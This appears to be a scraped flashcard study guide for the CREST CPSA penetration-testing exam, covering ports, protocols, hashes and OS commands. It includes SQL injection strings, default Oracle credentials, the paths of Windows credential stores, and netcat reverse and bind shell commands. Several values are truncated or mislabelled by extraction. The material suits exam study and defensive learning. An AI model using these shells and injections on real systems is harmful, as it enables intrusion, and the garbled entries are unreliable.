Download CREST CPSA Study Guide 2022: Networking Protocols, System Commands, and Security and more Exams Nursing in PDF only on Docsity!
CREST CPSA study guide 2022
TCP - ANSWER✅✅Transmission Control Protocol UDP - ANSWER✅✅User Datagram Protocol Port 21 - ANSWER✅✅FTP FTP - ANSWER✅✅File Transfer Protocol Port 22 - ANSWER✅✅SSH SSH - ANSWER✅✅Secure Shell Port 23 - ANSWER✅✅Telnet Port 25 - ANSWER✅✅SMTP SMTP - ANSWER✅✅Simple Mail Transfer Protocol Port 49 - ANSWER✅✅TACACS TACACS - ANSWER✅✅Terminal Access Controller Access Control System Port 53 - ANSWER✅✅DNS DNS - ANSWER✅✅Domain Name System Port 67 (UDP) - ANSWER✅✅DHCP (Server) Port 68 (UDP) - ANSWER✅✅DHCP (Client) DHCP - ANSWER✅✅Dynamic Host Configuration Protocol Port 69 (UDP) - ANSWER✅✅TFTP
TFTP - ANSWER✅✅Trivial File Transfer Protocol Port 80 - ANSWER✅✅HTTP HTTP - ANSWER✅✅Hypertext Transfer Protocol Port 88 - ANSWER✅✅Kerberos Kerberos - ANSWER✅✅A computer network authentication protocol that works on the basis of tickets to allow nodes communicating over a non-secure network to prove their identity to one another in a secure manner Port 110 - ANSWER✅✅POP POP3 - ANSWER✅✅Post Office Protocol version 3 Port 111 - ANSWER✅✅RPC RPC - ANSWER✅✅Remote Procedure Call Port 123 - ANSWER✅✅NTP NTP - ANSWER✅✅Network Time Protocol Port 135 - ANSWER✅✅Windows RPC (EPM) Port 593 - ANSWER✅✅RPC over HTTPS Port 445 - ANSWER✅✅SMB SMB - ANSWER✅✅Server Message Block Port 137 (UDP) - ANSWER✅✅NetBIOS (name services) Port 138 (UDP) - ANSWER✅✅NetBIOS (datagram services)
Port 514 (UDP) - ANSWER✅✅Syslog Port 520 - ANSWER✅✅RIP RIP - ANSWER✅✅Routing Information Protocol Port 546 - ANSWER✅✅DHCPv6 (client) Port 567 - ANSWER✅✅DHCPv6 (servers) Port 587 - ANSWER✅✅SMTP Port 902 - ANSWER✅✅VMWare Port 1080 - ANSWER✅✅Socks Proxy Port 636 - ANSWER✅✅LDAPS Port 1194 - ANSWER✅✅VPN Port 1433 - ANSWER✅✅MS-SQL Port 1434 - ANSWER✅✅MS-SQL (monitoring) Port 1521 - ANSWER✅✅Oracle Port 1629 - ANSWER✅✅DameWare Port 2049 - ANSWER✅✅NFS NFS - ANSWER✅✅Network File System Port 3128 - ANSWER✅✅Squid Proxy Port 3306 - ANSWER✅✅MySQL
Port 3389 - ANSWER✅✅RDP (Remote Desktop Protocol) Port 5060 - ANSWER✅✅SIP SIP - ANSWER✅✅Session Initiation Protocol Port 5222 - ANSWER✅✅Jabber Port 5432 - ANSWER✅✅Postgres Port 5666 - ANSWER✅✅Nagios Postgres - ANSWER✅✅An object-relational database management system with an emphasis on extensibility and standards compliance Nagios - ANSWER✅✅Open source system monitoring service Port 5900 - ANSWER✅✅VNC VNC - ANSWER✅✅Virtual Network Computing Port 6000 - ANSWER✅✅X X11 - ANSWER✅✅A windowing system for bitmap displays, common on Unix-like operating systems. Provides the basic framework for a GUI environment: drawing and moving windows on the display device and interacting with a mouse and keyboard. Port 6129 - ANSWER✅✅DameWare DameWare - ANSWER✅✅Remote Access Software on port 6129 Port 6667 - ANSWER✅✅IRC (Internet Relay Chat) Port 9001 - ANSWER✅✅Tor
AES
Twofish Blowfish Serpent IDEA RC4, RC5, RC CAST Asymmetric Encryption - ANSWER✅✅RSA El Gamal ECC Eliptic Curve Diffie-Helman (Key Exchange) Paillier Merkle-Helman Cramer-Shoup Hashes - ANSWER✅✅MD SHA MySQL < 4. MySQL MD5 (WP)
MD5 (phpBB3) LM / NTLM Oracle Default Credentials - ANSWER✅✅--Username | Password-- SYSTEM | MANAGER ANONYMOUS | ANONYMOUS SCOTT | TIGER OLAPSYS | MANAGER SYS | CHANGE_ON_INSTALL Port 512 - ANSWER✅✅rexec (username / password) Port 513 - ANSWER✅✅rlogin (telnet) Port 514 - ANSWER✅✅rsh Port 514 - ANSWER✅✅rcp LM Hash - ANSWER✅✅Primary Windows LAN hash before Windows NT. 14 character limit. DES - ANSWER✅✅56 bit key encryption (16 cycles of 48 bit subkeys) 3DES - ANSWER✅✅168 bit key encryption (48 cycles) TTL for Windows - ANSWER✅✅ 128 TTL for Linux - ANSWER✅✅ 64 TTL for Networking Devices / Solaris - ANSWER✅✅ 255
SMTP Requests - ANSWER✅✅MAIL RCPT DATA SNMP Requests - ANSWER✅✅Get GetNext Set GetBulk Response Trap Inform HTTP Status Codes - ANSWER✅✅1xx - Info 2xx - Success 3xx - Redirection 4xx - Error 5xx - Server Error HTTP Status Code 404 - ANSWER✅✅NOT FOUND the method is not available HTTP Status Code 301 - ANSWER✅✅Moved Permanently HTTP Status Code 302 - ANSWER✅✅Temporarily Moved HTTP Status Code 410 - ANSWER✅✅Gone
SQL Injections (Escape Characters) - ANSWER✅✅' OR '1' = '1' -- ' OR '1' = '1' { ' OR '1' = '1' /* SQL Injections (Type Handling) - ANSWER✅✅1;DROPTABLE users Linux File Permissions - ANSWER✅✅drwxrwxrwx 2 user(owner) group size date filename d | rwx | rwx | rwx Filetype | User | Group | Everyone Linux Command : Change Password - ANSWER✅✅passwd Linux Command : Find Files of Type - ANSWER✅✅find. - type f - iname '.pdf' locate '.pdf' Linux File System Structure - ANSWER✅✅/bin - User Binaries /boot - Bootup related files /dev - Interface for system devices /etc - System Config Files /home - Base directory for user files /lib - Critical software libraries /opt - Third party software /proc - System and running processes
NT 5.1 Versions - ANSWER✅✅Windows XP (Home, pro, MC, Tablet, PC, Starter, Embedded) NT 5.2 Versions - ANSWER✅✅Windows XP (64 bit, Pro 64 bit) Windows Server 2003 and R Windows Home Server NT 6.0 Versions - ANSWER✅✅Windows Vista (All) Windows Server 2008 (Foundation, Standard, Enterprise) NT 6.1 Versions - ANSWER✅✅Windows 7 (All) Windows Server 2008 R2 (All) NT 6.2 Versions - ANSWER✅✅Windows 8 Windows Phone 8 Windows Server 2012 %SYSTEMDRIVE%\boot.ini - ANSWER✅✅Contains the boot options for computers with BIOS firmware running NT-based operating system prior to Windows Vista %SYSTEMROOT%\repair\SAM %SYSTEMROOT%\System32\config\RegBack\SAM - ANSWER✅✅Stores Windows users' passwords in a hashed format (in LM hash and NTLM hash). These are backups of C:\windows\system32\config\SAM Windows Commands : System Info - ANSWER✅✅ver : OS Version sc query state=all : Services
tasklist /svc : Processes and Services echo %USERNAME% : Current user Windows Command : Find Files of Type - ANSWER✅✅dir /a /s /n c:*.pdf* Windows Commands : Add User, Make Admin - ANSWER✅✅net user /add net localgroup "Administrators" /add Linux Command : Add User, Make Sudoer - ANSWER✅✅useradd (adduser ) passwd sudo useradd sudo (sudo adduser sudo) Command : View Network Info - ANSWER✅✅Linux: ifconfig Windows: ipconfig /all Command : Display File Contents - ANSWER✅✅Linux: cat Windows: cat nslookup - ANSWER✅✅A network administration command-line tool for querying the Domain Name System (DNS) to obtain domain name or IP address mapping or for any other specific DNS record. IIS 1 Defaults - ANSWER✅✅Windows NT Addon IIS 2 Defaults - ANSWER✅✅NT 4. IIS 3 Defaults - ANSWER✅✅NT 4 Service Pack IIS 4 Defaults - ANSWER✅✅NT4 Option Pack
PCI Card Info Storage Common-Use - ANSWER✅✅- Store card details (i.e CC number, expiry) in encrypted form
- Store cardholder details (name, address, contact details...ie PII) in a SEPARATE encrypted database with a unique reference identifier linking the two
- DO NOT STORE sensitive data (ie CVV2, CVV or CID values) Windows : Active Directory Default Location - ANSWER✅✅C:\Windows\NTDS Ntds.dit is the physical storage file Windows : Domain Common Folders - ANSWER✅✅C:\Windows\SYSVOL Contains Group Policies, Login Scripts, Staging Folders, etc. dsquery - ANSWER✅✅Remote Server Administration Tools (RSAT) feature pack tool used to enumerate Windows Domain Classful IP Range : Class A - ANSWER✅✅128 Networks (2^7), 16,777,216 Addresses per network (2^24) Range : 0.0.0.0-127.0.0. Default Subnet Mask : 255.0.0. CIDR Notation : / Classful IP Range : Class B - ANSWER✅✅16,384 Networks (2^14), 65,536 Addresses per network (2^16)
Range : 128.0.0.0-191.255.0. Default Subnet Mask : 255.255.0. CIDR Notation : / Classful IP Range : Class C - ANSWER✅✅2,097,152 Networks (2^21), 256 Addresses per network (2^8) Range : 192.0.0.0-223.255.255. Default Subnet Mask : 255.255.255. CIDR Notation : / Classful IP Range Calculation - ANSWER✅✅If the first bit is a "0", it's a class A address (Half the address space has a "0" for the first bit, so this is why class A takes up half the address space.) If the second bit is a "0", it's a class B address (Half of the remaining non-class-A addresses, or one quarter of the total.) If the third bit is a "0", it's a class C address (Half again of what's left, or one eighth of the total.) If the fourth bit is a "0", it's a class D address. (Half the remainder, or one sixteenth of the address space.) If it's a "1", it's a class E address. (The other half, one sixteenth.)
15 - F
VLAN - ANSWER✅✅A switched network that is logically segmented by function, project team, or application, without regard to the physical locations of the users. VLAN IDs 1002- 1005 - ANSWER✅✅Token Ring and FDDI VLANs VLAN IDs greater than 1005 - ANSWER✅✅Extended-range VLANs (not stored in the VLAN database) VLAN IDs 1- 1005 - ANSWER✅✅Normal-range VLANs vlan.dat - ANSWER✅✅Configurations for VLAN IDs 1- 1005 Netcat : Start Listener to Catch Shell - ANSWER✅✅Linux: nc 10.0.0.1 1234 - e /bin/sh Windows: nc 10.0.0.1 1 234 - e cmd.exe (-e is execute and is not always supported) Netcat : Listen - ANSWER✅✅nc - nlvp Netcat : Transfer Text or Binary Files - ANSWER✅✅Listener : nc - nlvp 4444 > incoming.exe Sender: nc - nv IP to send to 4444 < file Netcat : Bind Shell - ANSWER✅✅Listener:
nc - nlvp 4444 - e cmd.exe (to set up cmd to run) Sender/ "Talker": nc - nv IP to connect to 4444 (this will execute the cmd.exe and all the "Talker" to connect to the host) Attacking Listener Netcat : Reverse Shell - ANSWER✅✅Listener: nc - nlvp 4444 Sender: nc - nv IP to send to 4444 /bin/bash (sends shell!) Attacking Sender NMap : Scan Types - ANSWER✅✅-sP : ping scan
- sS : syn scan ("half open" scan)
- sT : connect scan (full TCP)
- sU : UDP scan
